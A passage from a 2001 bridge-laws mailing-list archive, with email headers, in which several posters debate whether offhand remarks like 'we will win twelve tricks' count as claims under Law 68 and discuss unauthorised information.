argued in the face of mounting opposition > (and in the face of the only possible interpretation of a remarkably > simple English sentence) that anyone who reads the Law book and believes > what it says is in some way an inferior being who does not care about > the game of duplicate bridge. This imputation is, as Grattan has said, > entirely repellent; what is more, it is without foundation in reality. > If I were the sort of person who is offended by anything much, I would > be deeply offended by it. > > It is precisely because I care very much about the game itself that I > want it to have a code of Laws that can be followed by players and > administered by officials regardless of ability, or competence in > English, or anything else. There are many Laws that fall somewhat short > of this high standard. There are also, regrettably, far too many people > who persist in the belief that the text of the Laws is no more than a > preliminary basis for negotiation, and that rulings should be given on > the basis of what we "all know" that a player intended at the time he > acted in a particular way. > > Ultimately, the Laws of bridge mean what the words of which they are > composed mean. They do not mean "what Edgar Kaplan or Grattan Endicott > had in mind when they wrote the Laws". They do not mean "what David > Stevenson wants them to mean in order to run a bridge club in Liverpool > successfully". They do not mean "what right-thinking, fair-minded people > apart from whom anyone else is a Bridge Lawyer think that they mean". > They mean what they say, and when they say that "we will win twelve > tricks" is a claim, then a claim is what it is. In an unguarded moment, > DWS said somewhere that the parenthesis at the end of the second > sentence of Law 68A applied also to the first sentence. This was a > blunder. In an effort to pretend that it wasn't, people who believe that > the Laws of bridge mean what they say are being informed that they "do > not give a damn about the game itself". It would be tragic if it weren't > funny. > > As I have mentioned before, the very existence of the Bridge Laws > Mailing List is actually a shocking indictment of the Laws themselves > and of the people who make and interpret them. But nothing in my > previous experience of BLML has reinforced my opinion as strongly as > this particular debate. Suppose that someone who knew nothing about > bridge, but understood English, were confronted with this question: > > The Laws say that a statement to the effect that a player's side will > win a certain number of tricks is a claim. A player has just stated that > his side will win twelve tricks. Has this player made a claim? > > and suppose this person learned that apparently, a group of people who > have as a special interest the Laws of bridge were unable to reach a > consensus on this point. Would he not be justified in concluding that > this group of people must consist, at least in part, of lunatics? > > David Burn > London, England > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:21:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHL7Z17570 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:21:07 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from hawk.prod.itd.earthlink.net (hawk.prod.itd.earthlink.net [207.217.120.22]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHKwt17521 for ; Wed, 24 Jan 2001 04:20:58 +1100 (EST) Received: from brianbaresch (sdn-ar-001kslawrP069.dialsprint.net [158.252.181.53]) by hawk.prod.itd.earthlink.net (EL-8_9_3_3/8.9.3) with ESMTP id JAA29299 for ; Tue, 23 Jan 2001 09:20:38 -0800 (PST) Message-ID: <200101231122290640.003DD898@mail.earthlink.net> In-Reply-To: References: <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> X-Mailer: Calypso Version 3.20.01.00 (3) Date: Tue, 23 Jan 2001 11:22:29 -0600 From: "Brian Baresch" To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] Claim? Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk >Would it be a claim if the declarer had said "You should have cue'd >your AD pard, it looks like we might make 12 here"? I think not but at >least it's a question that requires some thought. To me it requires little thought: It's not a claim. Nor is "We should be in slam" or even, IMHO, "we missed a slam". I agree with Tim that they're not specific enough to be claims -- if I can see a 75% line for 12 tricks (or 13) and should have bid it I know we belong in 6 (or 7), and I can understand why declarer might say so, but "we have a good play for 12 tricks" isn't "we have 12 tricks". I don't think the offhand remarks ought to be treated as claims, but I'm coming to agree that that's what the Law says they are. Here's a situation I thought of last night: Early in a match or round one side investigates slam, stops in 5, and takes 12 tricks when everything sits favorably. Shortly (same opps) the same pair have a similar auction, again stopping in 5. The opening lead is faced, and before dummy comes down declarer says wryly, "making 6 again". The opps insist that play stop and that declarer state a line of play. Should declarer be allowed to see dummy before making a clarification statement? Now suppose it's a defender who says in the same spirit, before or after seeing dummy, "making 6 again", and it's declarer who insists that play stop and accepts the "concession". Does declarer get 12 tricks? Brian Baresch, baresch@earthlink.net Lawrence, Kansas, USA Editing, writing, proofreading I always wanted to be someone -- I guess I should have been more specific. --Lily Tomlin -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:24:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHOCq17973 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:24:12 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from cfa.harvard.edu (cfa.harvard.edu [131.142.10.1]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHO4t17967 for ; Wed, 24 Jan 2001 04:24:05 +1100 (EST) Received: from cfa183.harvard.edu (cfa183 [131.142.25.59]) by cfa.harvard.edu (8.9.2/8.9.2/cfunix M-S 0.1) with ESMTP id MAA24842 for ; Tue, 23 Jan 2001 12:24:01 -0500 (EST) Received: (from willner@localhost) by cfa183.harvard.edu (8.9.2/8.9.2/cfunix S 0.5) id MAA12836 for bridge-laws@rgb.anu.edu.au; Tue, 23 Jan 2001 12:24:01 -0500 (EST) Date: Tue, 23 Jan 2001 12:24:01 -0500 (EST) From: Steve Willner Message-Id: <200101231724.MAA12836@cfa183.harvard.edu> To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? X-Sun-Charset: US-ASCII Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > From: Herman De Wael (and in reply to others, too) > Then why does L50 include a statement about UI ? L50 also includes a statement about AI. "Something" is AI, "something else" is UI. The problem is defining what is which. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:32:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHWXl19874 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:32:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from resu1.ulb.ac.be (resu1.ulb.ac.be [164.15.59.200]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHWNt19824 for ; Wed, 24 Jan 2001 04:32:24 +1100 (EST) Received: from mach.vub.ac.be (mach.ulb.ac.be [164.15.128.3]) by resu1.ulb.ac.be (8.8.8/3.17.0.ap (resu)) id SAA14039; Tue, 23 Jan 2001 18:28:15 +0100 (MET) for Received: from math2-pc1 (math2-pc1.ulb.ac.be [164.15.34.6]) by mach.vub.ac.be (8.9.3/3.13.2.ap (mach)) id SAA11391; Tue, 23 Jan 2001 18:32:09 +0100 (MET) for Message-Id: <3.0.6.32.20010123184435.0083d8d0@pop.ulb.ac.be> X-Sender: agot@pop.ulb.ac.be X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 18:44:35 +0100 To: Herman De Wael , Bridge Laws From: alain gottcheiner Subject: Re: [BLML] Let's get back to the easy stuff In-Reply-To: <3A6C4E5E.8274A409@village.uunet.be> References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 16:14 22/01/01 +0100, Herman De Wael wrote: > >The bid you have made is AI, but the fact that you have made >it is UI. >So if you intended to bid 1He, and you've put down 1Sp, your >bid of 1Sp is UI. AG : how do you deal with the frequent case of the player who quickly sees he made the wrong bid, but doesn't know the Laws and doesn't dare to take the bid back 'without thinking'. If he pretends just that, if he says 'well, the bid is made when it is made, but I saw it immediately' (often in all good faith), how can you answer him 'yes, but either you take it back or you are not allowed to know you did it' ? Hmm, by the way, this is approximately what we did in the (in)famous 'ruling in Antwerp'. Seems like many blmlists didn't agree. A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:36:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHaNR21168 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:36:23 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHaFt21130 for ; Wed, 24 Jan 2001 04:36:15 +1100 (EST) Received: from james (user-2ive46m.dialup.mindspring.com [165.247.16.214]) by smtp6.mindspring.com (8.9.3/8.8.5) with SMTP id MAA21599; Tue, 23 Jan 2001 12:36:06 -0500 (EST) Message-ID: <00b101c08562$f6adfa20$d610f7a5@james> From: "Craig Senior" To: "Nelson/Kay Ford" , , "Adam Beneschan" Cc: References: <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 12:36:01 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Not at all. But the nasty BLer got his come-uppance when declarer scored up that unbid slam! I would only have given him a meagre 680, but of course we have to punish anyone who is a stickler for the rules, now don't we? :-))) Craig ----- Original Message ----- From: "Nelson/Kay Ford" To: ; "Adam Beneschan" Cc: Sent: Monday, January 22, 2001 11:45 PM Subject: Re: [BLML] Claim? > ----- Original Message ----- > From: "Adam Beneschan" > To: > Cc: > Sent: Monday, January 22, 2001 8:59 PM > Subject: Re: [BLML] Claim? > > > > Obviously, a unjust speed limit like this has no > business being in > > existence. The same applies to the Bridge Laws: a > law that most > > players can't be expected to know, but that Bridge > Lawyers can use to > > gain unearned points from the other players' > ignorance, has no > > business being in Bridge. > > > Well, let's see. Declarer at 4S, Vul, says: "We're cold > for 6, partner." > > East, a dirty rotten BL, says: "That's a claim, what's > your line of play?" > > Now one of two things happens: > 1. Declarer is cold for 6 and states how he will take > them, > and scores the slam. > OR > 2. Declarer was blowing smoke and can't make 6, but is > able to state a line of play where he makes 5 with > normal > play, and racks up 650. > > Just how to you see that the evil BL has damaged the > poor, > innocent Declarer? > > Nelson Ford > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:39:52 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHdYs22266 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:39:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHdPt22216 for ; Wed, 24 Jan 2001 04:39:26 +1100 (EST) Received: from james (user-2ive46m.dialup.mindspring.com [165.247.16.214]) by smtp6.mindspring.com (8.9.3/8.8.5) with SMTP id MAA16837; Tue, 23 Jan 2001 12:39:02 -0500 (EST) Message-ID: <00bb01c08563$5dcb6080$d610f7a5@james> From: "Craig Senior" To: "Marvin L. French" , References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> <00be01c084fb$3d9c8720$9a9c1e18@san.rr.com> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 12:38:45 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk As I noted before, Marv, DWS is USUALLY right...you have cited another fine example of his clear headed thinking. And we might also commend him for having raised this point of Law to a state of awareness. Craig ----- Original Message ----- From: "Marvin L. French" To: Sent: Tuesday, January 23, 2001 12:10 AM Subject: Re: [BLML] Claim? > > From: "David Burn" > > > DWS wrote: > > > > > I know that certain people do not give a damn about the game > itself, > > > but for those of you that do, let me make one more effort. > > Followed by: "If we follow what you, Marv, are saying,..." > > So I guess I'll give the needle back. > > David Burn, you might have quoted DWS's words of 12-17-2000, giving > me another lecture: > > ##### > It is never right for people to think they are above the Law. There > have been cases of ACs thinking this - there was a case at the last > NABC > but one where the Committee effectively said they were making a > decision > despite the Law - but this must be stamped out. > > This is not a perfect game, and the Laws are not perfect. We can > decide interpretations where there is doubt: we can try and change > incorrect Laws: we can have arguments and discussions to try to > explain > the Laws: but at the end, the Laws are paramount, and any TD who > does > not think so should be dismissed, and any AC member likewise should > not > be used again - or not until the TD or AC member has been > re-trained. > ##### > > Well said. > > Marv > San Diego, CA, USA > > > > > > -- > ================================================================ ======== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:44:48 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHiXp23941 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:44:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHiPt23904 for ; Wed, 24 Jan 2001 04:44:26 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA05489; Tue, 23 Jan 2001 09:42:12 -0800 Message-Id: <200101231742.JAA05489@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Let's get back to the easy stuff In-reply-to: Your message of "Mon, 22 Jan 2001 17:03:03 GMT." Date: Tue, 23 Jan 2001 09:42:11 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk David Stevenson wrote: > Eric Landau writes > >At 01:03 PM 1/20/01, David wrote: > > > >> If you commit an infraction which silences partner, and you could not > >>have seen an advantage at the time of the infraction, then it is legal > >>thereafter to take an action that gives you an advantage - L72A5. > > > >Of course. But when you bar partner, thus placing yourself in a > >position where you alone determine the actions taken by the > >partnership, and bid yourself to a contract in which your expected > >result is better than what you would likely have achieved had you not > >barred partner, it becomes nearly impossible to refute the position > >that you "could have known" that barring partner would work to your > >advantage, notwithstanding the fact that it never occured to you. > > Not so. When you open out of turn on a 16 HCP hand it is not credible > that you expect this to work to your advantage, so L72B1 does not apply. I kind of lost track of this thread; but from what I can tell, you're both right. Eric is right that *if* the "expected result" of your solo bidding is better than what you have likely achieved if partner had not been barred, the score should be adjusted. I maintain that if you open out of turn, so that you know nothing about partner's hand, the above condition will *never* be true. Ever. Since partner has not described anything about his hand, the range of partner's possible hands is very wide---he could have a great fit, a misfit, a long suit that fits with your 3-bagger, a 2-suiter---and any HCP range from zero to 40 minus whatever you have. If you look at every such possible hand and figure out where you would have played it if you had a normal auction, there will be a few hands where your solo flyer will produce a better result---and a huge number of hands where you would have been better off if you had let partner tell you what he had. (And plenty of hands where the result would have been the same.) So I cannot believe that there is *any* hand on which barring partner has a higher expected result. If someone can show me such a hand, and demonstrate that, when all possible hands for partner are taken into account, it would be advantageous to bar partner, please do so. Thus, I think that Eric's point is correct, but irrelevant when dealing with opening bids out of turn. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:44:50 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHigf23981 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:44:42 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHiWt23936 for ; Wed, 24 Jan 2001 04:44:33 +1100 (EST) Received: from kay (ashsv1-46.cswnet.com [209.136.193.46]) by mail.cswnet.com (Postfix) with SMTP id 307015D05F; Tue, 23 Jan 2001 11:44:27 -0600 (CST) Message-ID: <00ac01c08564$7af56420$2ec188d1@kay> From: "Nelson/Kay Ford" To: , Cc: References: Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 11:46:55 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Tim West-meads" To: Cc: Sent: Tuesday, January 23, 2001 8:40 AM Subject: Re: [BLML] Claim? > In-Reply-To: <5.0.2.1.0.20010123064525.00a2b610@mail.rz.uni-duesseldorf.de> > Richard Bley wrote: > > > >Well, let's see. Declarer at 4S, Vul, says: "We're cold > > >for 6, partner." > > > > > >East, a dirty rotten BL, says: "That's a claim, what's > > >your line of play?" > > Firstly this is not a claim. Being "cold for 6" does not exclude the > possibility of making 13 tricks (unless the first trick was lost). It is > therefore not a statement relating to a *specific* number of tricks. > > Nor are statements like "we should be in 6", or "We may have missed the > grand". If such statements mislead opponents we can adjust under > L72whatever. > > But if the statement is "We are making twelve tricks/exactly 6" then it is > specific, and therefore a claim. You are right. I worded that carelessly. Nelson Ford -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 04:47:30 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NHlMQ24867 for bridge-laws-outgoing; Wed, 24 Jan 2001 04:47:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mail.cswnet.com (mail.cswnet.com [209.136.192.23]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NHlBt24817 for ; Wed, 24 Jan 2001 04:47:12 +1100 (EST) Received: from kay (ashsv1-46.cswnet.com [209.136.193.46]) by mail.cswnet.com (Postfix) with SMTP id 6C3955D07D; Tue, 23 Jan 2001 11:47:06 -0600 (CST) Message-ID: <00bc01c08564$d9ff87c0$2ec188d1@kay> From: "Nelson/Kay Ford" To: "Craig Senior" , , "Adam Beneschan" Cc: References: <200101230259.SAA25487@mailhub.irvine.com> <000f01c084f7$56da27a0$37c188d1@kay> <00b101c08562$f6adfa20$d610f7a5@james> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 11:49:34 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----- Original Message ----- From: "Craig Senior" To: "Nelson/Kay Ford" ; ; "Adam Beneschan" Cc: Sent: Tuesday, January 23, 2001 11:36 AM Subject: Re: [BLML] Claim? > Not at all. But the nasty BLer got his come-uppance when > declarer scored up that unbid slam! I would only have given him > a meagre 680, but of course we have to punish anyone who is a > stickler for the rules, now don't we? :-))) > > Craig Dang. I gotta start proof-reading my posts more carefully. Or maybe this thread will die out and I can go back to doing what I am qualified for -- lurking. Nelson > ----- Original Message ----- > From: "Nelson/Kay Ford" > To: ; "Adam Beneschan" > > Cc: > Sent: Monday, January 22, 2001 11:45 PM > Subject: Re: [BLML] Claim? > > > > ----- Original Message ----- > > From: "Adam Beneschan" > > To: > > Cc: > > Sent: Monday, January 22, 2001 8:59 PM > > Subject: Re: [BLML] Claim? > > > > > > > Obviously, a unjust speed limit like this has no > > business being in > > > existence. The same applies to the Bridge Laws: a > > law that most > > > players can't be expected to know, but that Bridge > > Lawyers can use to > > > gain unearned points from the other players' > > ignorance, has no > > > business being in Bridge. > > > > > > Well, let's see. Declarer at 4S, Vul, says: "We're cold > > for 6, partner." > > > > East, a dirty rotten BL, says: "That's a claim, what's > > your line of play?" > > > > Now one of two things happens: > > 1. Declarer is cold for 6 and states how he will take > > them, > > and scores the slam. > > OR > > 2. Declarer was blowing smoke and can't make 6, but is > > able to state a line of play where he makes 5 with > > normal > > play, and racks up 650. > > > > Just how to you see that the evil BL has damaged the > > poor, > > innocent Declarer? > > > > Nelson Ford > > > > > > -- > > > ================================================================ > ======== > > (Un)Subscribing? Want the archives? email > majordomo@rgb.anu.edu.au with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the > message. > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 05:09:19 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NI8no26177 for bridge-laws-outgoing; Wed, 24 Jan 2001 05:08:49 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NI8et26170 for ; Wed, 24 Jan 2001 05:08:41 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id MAA07794 for ; Tue, 23 Jan 2001 12:09:59 -0600 (CST) Message-Id: <3.0.6.32.20010123120746.00805480@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Tue, 23 Jan 2001 12:07:46 -0600 To: "blml" From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <00a301c08295$ec165b40$56991e18@san.rr.com> References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 08:00 PM 1/19/2001 -0800, Marvin L. French wrote: > >Roger Pewick wrote: > >> I do see an interesting aspect of such cases. One would not expect a >player >> who did not have in his mind to claim just yet to give a claim >statement on >> his own initiiative. At what point should he not be permitted to >supply >> one? L68C and L70D combine to suggest that by the time the director >arrives >> it is too late to supply one but it feels right to allow it. > >I think it is allowed. > >L68C says a claim *should* be accompanied at once by a statement of >clarification, but *should* is not a very strong word. > >L70D Claimer Proposes New Line of Play > The Director shall not accept from claimer any successful > line of play not embraced in the original clarification > statement [if any--mlf] if there is an alternative normal* > line of play that would be less successful. > >If there was no previous statement, then any statement is a "new line of >play." It won't be accepted if there is another (normal) line of play >that would be less successful, but it may be accepted. Excellent! This is even better! Now not only will the player who never intended to claim be forced to claim, but he will be allowed to give a statement of clarification that will be accepted only if it is as bad as or worse than the result he would have gotten had he said nothing! Remember that 'normal' includes careless and inferior. Suppose that I have a hand where I can see an easy 12 tricks, and I say "we should have been in slam, we're going to make 12 tricks". My BL opponent pauses for 2 seconds [to make sure that he can say that I had the opportunity to make a clarification statement but did not do so] and then summons the Director. I am now told that I have claimed 12 tricks. The TD comes, and I make a clarification statement. Unfortunately, this was clearly not given 'at once', and the TD is legally required to ignore it for the present. He now evaluates the possible plays of the hand assuming that I will play carelessly and adopt inferior lines of play that I would, in fact, never have adopted. Let us say that there is some collosally stupid line of play that punts a trick. [Remember that in previous claim threads members of this list have said that even really stupid lines of play count as 'normal'.] Now the TD can evaluate my belated clarification statement. If I stated it clearly and correctly, so that it is clear that I would indeed have made 12 tricks, he will be legally required to ignore it, on the grounds that he has found a "normal" line of play that only makes 11. If, on the other hand, I have been so flustered that I mis-state my intended line of play such that I would only make 10 tricks, then he will accept my statement and give me only 10! Legally, one should never, ever, make a belated clarification statement. Since people who manifestly didn't intend to claim will not make a clarification statement 'at once', they will be better off not saying anything at all, even if they saw from the beginning a line of play that was, indeed, ice cold for the number of tricks they stated they would make. As a good BL, I am sure my LHO will make sure to encourage me to make a clarification statement, and he will helpfully point the TD to L70D. >In L70E "The Director shall not accept any unstated line of play..." >seems to mean a line of play now offered which was not included in an >original statement (if any). That implies that a line of play that was >not supplied at the time of the claim will be heard at this time. > >All not very clear, but that's the way I see it. > >Marv >San Diego, CA, USA Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 05:28:12 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NIRuF26533 for bridge-laws-outgoing; Wed, 24 Jan 2001 05:27:56 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0NIRmt26526 for ; Wed, 24 Jan 2001 05:27:49 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Tue, 23 Jan 2001 10:27:04 -0800 Message-ID: <001a01c0856a$226efae0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101191537.KAA21799@freenet10.carleton.ca> <001601c082b1$fa8de780$ec167bd5@pbncomputer> <002101c0830a$91a9a660$56991e18@san.rr.com> <002601c084de$06bb05a0$5243073e@pbncomputer> <02b101c08526$587fdd00$6b3b1dc2@rabbit> Subject: Re: [BLML] Claim? Date: Tue, 23 Jan 2001 10:23:05 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Thomas Dehn" < > "David Burn" wrote: > > DWS wrote: > > > > > I know that certain people do not give a damn about the game itself, > > > but for those of you that do, let me make one more effort. > > > > If I were the sort of person who is offended by anything much, I would > > be deeply offended by it. Me too. > > It seems you need a vacation, David. > Calm down, relax. Which David? Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Wed Jan 24 06:26:16 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0NJPPt02200 for 